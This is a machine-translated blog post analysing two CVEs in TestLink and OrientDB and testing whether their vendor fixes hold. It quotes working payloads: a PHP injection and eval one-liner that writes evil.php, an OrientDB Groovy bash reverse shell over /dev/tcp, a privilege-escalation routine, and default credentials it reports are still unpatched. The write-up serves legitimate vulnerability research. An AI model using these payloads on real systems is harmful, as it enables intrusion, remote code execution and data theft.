Dozens of
CVEs are published every day in the world (according to company
riskbasedsecurity.com, 20,832 CVEs were published in 2017). However, manufacturers have become more attentive and attentive to security reports, thanks to which the speed of closing bugs has increased significantly (according to our feelings).
It became interesting to us to look at several products and to understand what caused the vulnerabilities (we learn from the mistakes of others). And also how manufacturers fix them and whether they always get it (looking ahead - not always).

Selection criteria:
As in any
well- controlled experiment, we have put a number of restrictions on the vulnerabilities considered:
')
- there must be an exploit - we want to see that before the upgrade everything was
well exploited badly, and then it became good; - Vulnerability should be critical (ideally RCE) and with a high score;
- product must be open source;
- the product must not be abandoned and actively used;
- vulnerability must be relatively new;
- the main thing is that we ourselves should be interested.
What and how we chose:
We went to
vulners.com (“Google” for Hackers) and asked to show all exploits from
exploit-db.com over the past couple of weeks. So we found our first subject
under test. Product TestLink Open Source Test Management is a web-based test management system written in PHP.
(CVE-2018-7466, score 8.3, RCE, published February 25, 2018 - everything we wanted).
We decided to search for the second test subject with score 10. And here we came across a vulnerability in OrientDB (CVE-2017-11467, score 10, RCE, published July 17, 2017, almost as we wanted). OrientDB is an open DBMS that combines the capabilities of a document-oriented and graph-oriented database
(wiki) .
The selection process took us 15-20 minutes. For most of this time, we tried to understand what kind of product it is and whether it fits our criteria. It turns out, the choice can be called relatively random. We proceed to the consideration of our subjects.
TestLink Open Source Test Management (CVE-2018-7466):
We read the description of the
exploit . We see that the version before 1.9.16 (inclusive) is vulnerable and that everything is fixed in version 1.9.17. Go to the manufacturer's website in the hope of downloading a new and old version. Here we are waited by the first surprising moment: on the manufacturer’s website there is only a vulnerable version. Searches on the Internet version 1.9.17 do not give results. We find the news that the new version will be in the first quarter of 2018. But there is a
github project where you can get the latest version to understand how the developers fixed the problem.
We put TestLink, everything is simple. You need to install a bunch of Apache + PHP + Mysql and unzip the project folder to the Web server folder. After that, go to your Web-server, where we will be met by the installation wizard, which will inform us that the default user is admin with the password admin. When you first log in, we are not asked to change it, but this can be easily done in the user settings.
From the text of the exploit, we understand that the problem script is “/install/installDbInput.php”. It is located in the install folder, and we have already completed the installation, and it, in theory, should already be unavailable. However, if you try to contact her, it turns out that this is not the case. This behavior of the installer is very insecure, since anyone can rub all your records. Here I, of course, bend over a stick. In fact, it can indicate that you need to use the new Mysql server, but in the old everything will remain, and you can roll back to the working version.
In the text of the exploit, a string of the form is transmitted as the user name:
"box');file_put_contents($_GET[1],file_get_contents($_GET[2]));//"
Obviously, we have an injection in the php-code. Let's see where it comes from. Go to the installDbInput.php script and see in the lines 62 through 69 save the user values. After, they are somehow used, and then in lines 489-498 are saved to a file.
$cfg_file = "../config_db.inc.php".
As it is not difficult to guess, the php-code, which we recorded in the file “config_db.inc.php”, is now easily accessible and can be executed (classic RCE into action).
Here is the code for config_db.inc.php after the exploit:
Fix from TestLink:
In the CVE description on
nist.gov there is a link to a
github commit that “closes” this vulnerability, reducing the possible login length to 32 characters (why only a login, although injection is possible in all fields, and why up to 32 remains a mystery to us) . We rubbed the little hands and decided to bypass the limit of 32 characters in the login (although it was possible to read the code more carefully and understand that we are already beating through the closed door).
In the original exploit there were 64 characters in the injection. Thinking how to reduce it, we decided to use the standard eval function and reduce the username to one letter. Here's what we got:
b');eval($_GET['e']);//
23 characters (if you can be shorter, then write in the comments, we are curious), use something like this:
/config_db.inc.php?e=file_put_contents($_GET['filename'],file_get_contents($_GET['filedata']));&filename=evil.php&filedata=http:
Having checked on the old version that our “exploit” code is working, we downloaded the new version from the git (there is still no official version), set it and were disappointed because our code did not work.
Why didn't our code work?
In the config_db.inc.php file, our code was entered in the form:
define('DB_USER', 'bevalGETe');
That is, removed all the special characters. We look into the installNewDB.php code more closely and see that in lines 56-82 a “processing” of user input has been added:
$san = '/[^A-Za-z0-9\-]/'; $db_name = trim($_SESSION['databasename']); $db_name = preg_replace($san,'',$db_name);
That is, all characters other than letters, numbers, and the “-” character are deleted. And, accordingly, the exploit stops working. ATTENTION. Not only the exploit stops working, but the functionality itself. Since the preg_replace with the regular expression '/ [^ A-Za-z0-9 \ -] /' applies to all fields, it is no longer possible to define a remote host with a database. Since it is difficult to imagine a record in which there will not be a dot (both in the domain record and in the record of the ipv4 address) or a colon (no one has canceled the ipv6 address). It is also now easier to sort through passwords (they can contain only letters, numbers, and the “-” symbol).
Conclusions on TestLink and CVE-2018-7466:
- vulnerability closed;
- regular expression closing vulnerability breaks part of the functionality;
- regular expression that closes the vulnerability, simplifies the search for passwords;
- nist.gov is the wrong commit that closes the vulnerability ( this is the correct one ).
Hosted by a note on TestLink and CVE-2018-7466:
- filter user input (using special language functions for this, not samopisnye regular expressions);
- do not store user input in php scripts (and prohibit the launch of the php interpreter for files with a different extension, and at the same time, the return of these files);
- do not store logins and passwords from the database in open form;
- deny access or delete the install directory after installation.
OrientDB (CVE-2017-11467):
We read the description of the
exploit . There again there is a link to
github , where it is said that the vulnerability is fixed in version 2.2.23. So, for a start, we are interested in version 2.2.22 (which should be vulnerable).
Installation at this time is much easier. Developers give docker containers where everything is set up, and docker hub stores all versions. Therefore, we simply write:
sudo docker run -d --name orientdb -p 2424:2424 -p 2480:2480 -e ORIENTDB_ROOT_PASSWORD=root orientdb:2.2.22
and get a container with a vulnerable version of OrientDB. We copy the Python code of the exploit to ourselves and run it. However, the script drops with the words that we do not have a database (it is possible that it will still fall with the words that you are missing some Python package). We go to our local host on port 2480 and create a database. We start the exploit again, this time it will not work either, since the built-in payload (reverse shell) requires a bash, and in our container there is only sh.
For the test, we decided to write payload, which simply creates a file. It is clear that in real life everything can be done much more interesting.
For the payload is the variable query, which contains the code in the Groovy language. Change payload with
def command = \'bash -i >& /dev/tcp/'+reverse_ip+'/8081 0>&1\';File file = new File(\\"hello.sh\\");file.delete();file << (\\"#!/bin/bash\\\\n\\");file << (command);def proc = \\"bash hello.sh\\".execute();
on
def command = \'touch /orientdb/test.sh \';File file = new File(\\"hello.sh\\");file.delete();file << (\\"#!/bin/sh\\\\n\\");file << (command);def proc = \\"/bin/sh hello.sh\\".execute();
We start the exploit, and a test.sh file is created inside our container. Great, the exploit is working, the vulnerability is present.
We check that everything is closed.
Now we check that everyone successfully closed in version 2.2.23 (version dated July 11, 2017). We start the container with this version (we create the base), we launch the exploit and in the container we check the file. We do not believe our eyes: our test file is there. We check the product version (there is an “about” tab in the web interface) - everything is correct there, version 2.2.23. We restart the exploit with a different file name (test.sh is not the original name) - everything worked. We check the description of the exploit on
nist.gov . There is a link that the vulnerability is closed in version 2.2.23.
Okay, let's look for the version where the vulnerability was closed. Very lucky that there are containers of all versions and a binary search algorithm. Stocking cookies and begin the search. We are launching the latest version - 2.2.33 (March 5, 2018) - without the hope that something will work on it. Check - works.
We look at the exploit code and see that the problem is a little less serious than initially thought: all requests are executed on behalf of the user “writer” with the password “writer”. In other words, the second holy rule is violated: built-in accounts are created with wired passwords. Even the giants suffer from this (recall the high-profile vulnerability of Oracle
last year , where the gap was assigned to the embedded user OIMINTERNAL), which is to be expected from a small opensource product. Later it turned out that there is not only this account, but also admin: admin (my favorites) and reader / reader. At the same time, there is no place for everyone via the web-interface for 2 minutes, where they can be changed, and in the official documentation there is no information that this should be done.
The problem is that when creating a database, these users are automatically added to it. Even if it were not possible to execute the code, viewing the data (and their modification) can be a problem for the owner of the resource using OrientDB and its users.
Why not closed?
We look at the
commit in which we had to close this vulnerability. OCommandExecutorSQLSelect.java file has been added to check that the user has read permission in the “database.systemclusters” role, which should solve the problem of changing permissions. Raising the container version 2.2.23 again, logging in as user writer and going to the Security tab, we see an access error message:
com.orientechnologies.orient.core.exception.OSecurityAccessException: User 'writer' does not have permission to execute the operation 'Read' against the resource: ResourceGeneric [name=SYSTEM_CLUSTER, legacyName=database.systemclusters].null DB name="test23"
This means that the user can not view their rights. In version 2.2.22 there was no such error and the user could easily watch and change his rights.
Pay attention to the file name: OcommandExecutorSQLSelect.java. In it is the keyword Select. We look
in the folder on the gita and see that for each SQL command, there is a class, and the last change just belongs to the class OCommandExecutorSQLSelect.java (9 months ago).
The exploit code has the priv_escalation function
def priv_escalation(target,port="2480"): print "[+] Checking OrientDB Database version is greater than 2.2" if check_version(target,port): databases = enum_databases(target) print databases priv1 = run_queries("GRANT","database.class.ouser","Privilege Escalation done checking enabling operations on database.function") priv2 = run_queries("GRANT","database.function","Enabled functional operations on database.function") priv3 = run_queries("GRANT","database.systemclusters","Enabling access to system clusters") if priv1 and priv2 and priv3: return True return False,
which performs the operations "Grant" to the roles database.class.ouser, database.function, database.systemclusters (they are given full rights to "create", "read", "update", "execute", "delete").
The
OCommandExecutorSQLGrant.java class does not take into account the changes that occurred in the OcommandExecutorSQLSelect.java class, and that calls can be made directly to the API (and not poked in the Web interface). It turns out that it is possible to give yourself the rights necessary to run Groovy code, which can be executed in the context of the operating system, which is what happens in the exploit.
There is a violation of the third holy rule: closing the vulnerability in the displayed results, and not in the API, to which the user also has access.
Conclusions on OrientDB and CVE-2017-11467:
- The vulnerability is not closed (when accessing the API, you can give yourself the necessary rights to run Groovy code);
- the system has built-in users with high rights;
- Shodan says that 458 hosts around the world use OrientDB, which means that they can potentially be accessed. (Intuition tells me that the administrators of these databases did not think about the built-in users and did not ban them.)
Hosted by a note on OrientDB and CVE-2017-11467:
do not create embedded users with the same passwords;during installation, change passwords to the built-in users (if you need them so much);- do not create embedded users;
- correct errors in the API, and not in the displayed results;
- closed vulnerabilities may not be closed;
- nist.gov again wrong.
Conclusion:
The topic of closing vulnerabilities was much more interesting than we initially thought. Randomly selected two vulnerabilities demonstrated that they close strangely and poorly. In the future, we will continue to look at what is happening with the closure of vulnerabilities. Write in the commentary what strange “closed” vulnerabilities you have observed.